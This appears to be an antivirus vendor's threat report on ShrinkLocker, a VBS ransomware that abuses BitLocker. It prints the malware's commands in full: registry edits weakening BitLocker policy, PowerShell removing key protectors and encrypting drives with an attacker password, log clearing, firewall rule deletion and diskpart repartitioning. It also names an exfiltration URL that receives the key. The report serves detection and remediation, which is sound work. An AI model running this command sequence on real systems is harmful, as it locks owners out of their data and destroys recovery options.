Analysis by: John Rainier Navato

ALIASES:

Generic.VBS.ShrinkLocker.A.EABA5996 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 41,403 bytes
File Type: VBS
Memory Resident: No
Initial Samples Received Date: 27 May 2024
Payload: Collects system information, Connects to URLs/IPs, Displays windows, Encrypts files, Modifies system registry

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware adds the following processes:

  • bcdboot {Boot Drive}:\windows /s {New Drive} → reinstall the boot files on the new primary partitions
  • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f
  • ServerManagerCmd -install BitLocker -allSubFeatures
  • powershell.exe -Command Install-WindowsFeature BitLocker -IncludeAllSubFeature -IncludeManagementTools
  • powershell.exe -Command "$protectors = (Get-BitLockerVolume -MountPoint {Target Drive}).KeyProtector; if ($protectors -ne $null) { foreach ($protector in $protectors) { Remove-BitLockerKeyProtector -MountPoint {Target Drive} -KeyProtectorId $protector.KeyProtectorId } }"
  • powershell.exe -Command $a=ConvertTo-SecureString "'{Bitlocker Paassword}'" -asplaintext -force;Enable-BitLocker {Target Drive} -s -qe -pwp -pw $a
  • powershell.exe -Command Resume-BitLocker -MountPoint {Target Drive}
  • wevtutil -cl "Windows PowerShell"
  • netsh advfirewall set allprofiles state on
  • netsh advfirewall firewall delet rule name=all
  • schtasks /Delete /TN "copy" /F
  • schtasks /Delete /TN "disk" /F

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 1

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
scforceoption = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseAdvancedStartup = 1

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableBDEWithNoTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPM = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKey = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKeyPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableNonTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePartialEncryptionKey = 2

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePIN = 2

(Note: The default value data of the said registry entry is 0.)

Information Theft

This Ransomware gathers the following data:

  • Hard Drive Used Space
  • Hard Drive Free Space
  • Hard Drive Label
  • Total RAM
  • Used RAM
  • Available RAM
  • Computer Name
  • Available Fixed Drives
  • Generated Bitlocker Encryption Key
  • Network Performance

Stolen Information

This Ransomware sends the gathered information via HTTP POST to the following URL:

  • https://{BLOCKED}ted-eating-meals-top.trycloudflare.com/updatelog

Other Details

This Ransomware does the following:

  • It terminates itself if the current domain is different from its target domain.
  • It terminates and deletes itself if the name of the operating system contains “xp”, “2000”, “2003”, or “vista”.
  • It issues the following commands to diskpart to do the following:
    • Shrink the size of non-boot partitions by 100 MB
      • Select Volume {Target Drive}
      • shrink desired=100
      • exit
    • Split the unallocated space into new 100 MB primary partitions. Format these partitions with the override parameter, assign a file system and a drive letter to each. Activate these partitions.
      • Select Volume {Target Drive}
      • create partition primary size=100
      • format quick recommended override
      • assign
      • active
      • exit
    • Remove the drive letter from the selected partition.
      • Select Volume {New Drive}
      • remove
      • exit
  • It starts the BitLocker Drive Encryption Service (BDESVC) if it is not running.
  • It changes the boot drive label into the attacker’s email.
  • It deletes the following files if the computer name is "MWIDC001":
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\Logon.vbs
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\disk.vbs
  • It disables BitLocker's encryption key protector and deletes them. It then allows for a numerical password to be used as a protector and for encryption to be turned on.
  • It generates a random encryption key for Bitlocker using the following information as seed:
    • Pre-specified characters
    • Hard Drive Used Space
    • Hard Drive Free Space
    • Total RAM
    • Used RAM
    • Available RAM
    • Network Performance
  • It enables Bitlocker on the drives found in the affected machine using its generated encryption key.
  • It shows the following prompt when the affected machine reboots:

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 19.458.02
FIRST VSAPI PATTERN DATE: 10 Jul 2024
VSAPI OPR PATTERN File: 19.459.00
VSAPI OPR PATTERN Date: 11 Jul 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restore encrypted files from backup.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Ransom.VBS.SHRINKLOCKER.RG. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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